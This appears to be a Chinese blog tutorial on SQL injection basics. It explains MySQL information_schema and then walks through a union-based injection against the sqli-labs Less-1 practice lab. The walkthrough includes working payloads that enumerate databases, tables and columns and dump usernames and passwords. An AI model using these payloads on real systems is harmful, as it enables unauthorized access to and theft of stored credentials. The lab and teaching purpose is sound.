SQL注入基础

SQL注入基础

SQL注入:

指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是可被攻击者构造的,并且参数代入了数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。

PS:在前端传入数据代入数据,增删改查操作。

以PHP语句为例:

  

  $query = "select * from users where id = $_GET[id]";

4.1.3

MySQL与SQL注入漏洞相关的知识点

在MySQL5.0版本以后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该数据库中有三个需要记住的表名:“schemata”、“tables”、“columns”。

    schemata表存储的是该用户创建的所有数据库的库名,需要记住该表中记录数据库库名的字段名为“schema_name”;

    tables表存储该用户创建的所有数据库的库名和表名,要记住该表中记录数据库库名表名的字段分别                     为“table_schema”、“table_name”;

    columns表存储该用户创建的所有数据库的库名、表名、字段名,要记住该表中记录数据库库名、表名、字段名的字段分别    为:“table_schema”、“table_name”、“columns_name”。

MySQL查询语句

1.在不知道任何条件时,语句如下:

select *(要查询的字段名) from *(库名或表名)

2.在知道一条已知条件时,语句如下:

select *(要查询的字段名) from *(库名或表名) where *(已知条件的字段名/已知条件的值)

3.在知道两条已知条件时,语句如下:

select *(要查询的字段名) from *(库名或表名) where *(已知条件的字段名或值) and *(已知条件的字段名或值)

“limit”的用法

limit的使用格式为“limit m,n”,其中m为记录开始的值,n为取几条记录 例如“limit 0,1”表示只显示一条记录。

m可以理解为从第几组数据开始(注意第一组数据为编号0),n可以理解为显示几组数据

select * form `users`

id

username

password

1

test

password

2

test2

password

3

zs

zs

4

ls

ls

5

w

w

6

zl

zl

 

 

 

select * form `users` limit 0,1

1

test

password

 

 

 

select * form `users` limit 0,2

1

test

password

2

test2

password

 

 

 

select * form `users` limit 1,2

2

test2

password

3

zs

zs

需要记住的几个函数:

database():web当前使用的数据库。

version():当前数据库的版本。

user():当前mysql用户

@@datadir:数据库路径

@@version_compile_os:操作系统版本

注释符号:

#

(空格) -- (空格)

/**/

内联注释:

select * from `users`; /*select*/ * from `users`;  #注意这条语句中的select是被注释掉的,语句无法执行。 /*!select*/ * from users; #注意此处的select未被注释可以执行

4.1.4union注入攻击

以sqli-labs-master靶场为例。

less-1

 

 

可以看到?id=1 为注入点,简单给出判断依据:1、传参到服务器。(参数可控)2、传入的参数传入到数据库。

注入攻击步骤

第一步

判断是否存在注入点

1、“ ' ”

2、“ ' and 1=1”

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1 /*在本题中会出现报错,提示在limit前多了一个单引号如图4.1-1。那么重新构造payload:?id=1'and '1'='1,这样多出的单引号就会和“'1”构成闭合。测试正常显示。如图4.1-2*/

3、“ ' and 1=2”

第二步

判断有几列“order by”

payload:?id=1' order by 3--+ 
//从order by 1一直试到报错,本题到4开始报错,说明有3列。如图4.1-3

第三步

联合注入(报错联合注入)

https://www.cnblogs.com/lcamry/p/5715634.htmlSql注入中连接字符串常用函数

1、判断显示位

首先知道列数的情况下,需要先判断显示位。

?id=-1' union select 1,2,3--+发现显示位是2,3。

2、获取基本信息

那么在注入攻击时,将语句放在2或3的位置上进行攻击。

可以看到当前数据库为security,数据库版本号为5.5.53、当前用户为root、数据库路径为:C:\phpStudy\PHPTutorial\MySQL\data\、操作系统版本:Win32

这一步我们所让查询到了当前数据库的库名,但是我们并不知道这个服务器的数据库有几个库,所以构造新的payload进行查询

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+

3、查询table_name表名

payload:?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security'),3 --+

select table_name from information_schema.tables where table_schema='security' 
查询information_schema库中的名为security的表的内容

发现报错提示超过1行。

那么这里有两种方式可以解决个人推荐第一种方式。

第一种方式:构造一个新的payload: ?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
结果如图4.1-3

group_concat()函数可以将括号中的内容变成一串字符串进行输出

https://www.cnblogs.com/lcamry/p/5715634.html  Sql注入中连接字符串常用函数

第二种方式:使用limit payload:?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3--+ 
可以看到如图4.1-4所显示,每次只能显示一个表名。所以我们只能不断更改m的值来查看所有表名。

uploading.4e448015.gif转存失败重新上传取消

4、查询columns列

第一种:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
第二种:?id=-1' union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),3--+
区别就是第一种会一次性将所有列名全部显示出来,二第二种需要更改limit的值(0,1、1,1)直到显示为空。

5、查询具体内容

?id=-1' union select 1,username,password from security.users where id='2'--+ ?id=-1' union select 1,(select username from security.users limit 0,1),(select password from security.users limit 0,1)--+

uploading.4e448015.gif转存失败重新上传取消

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值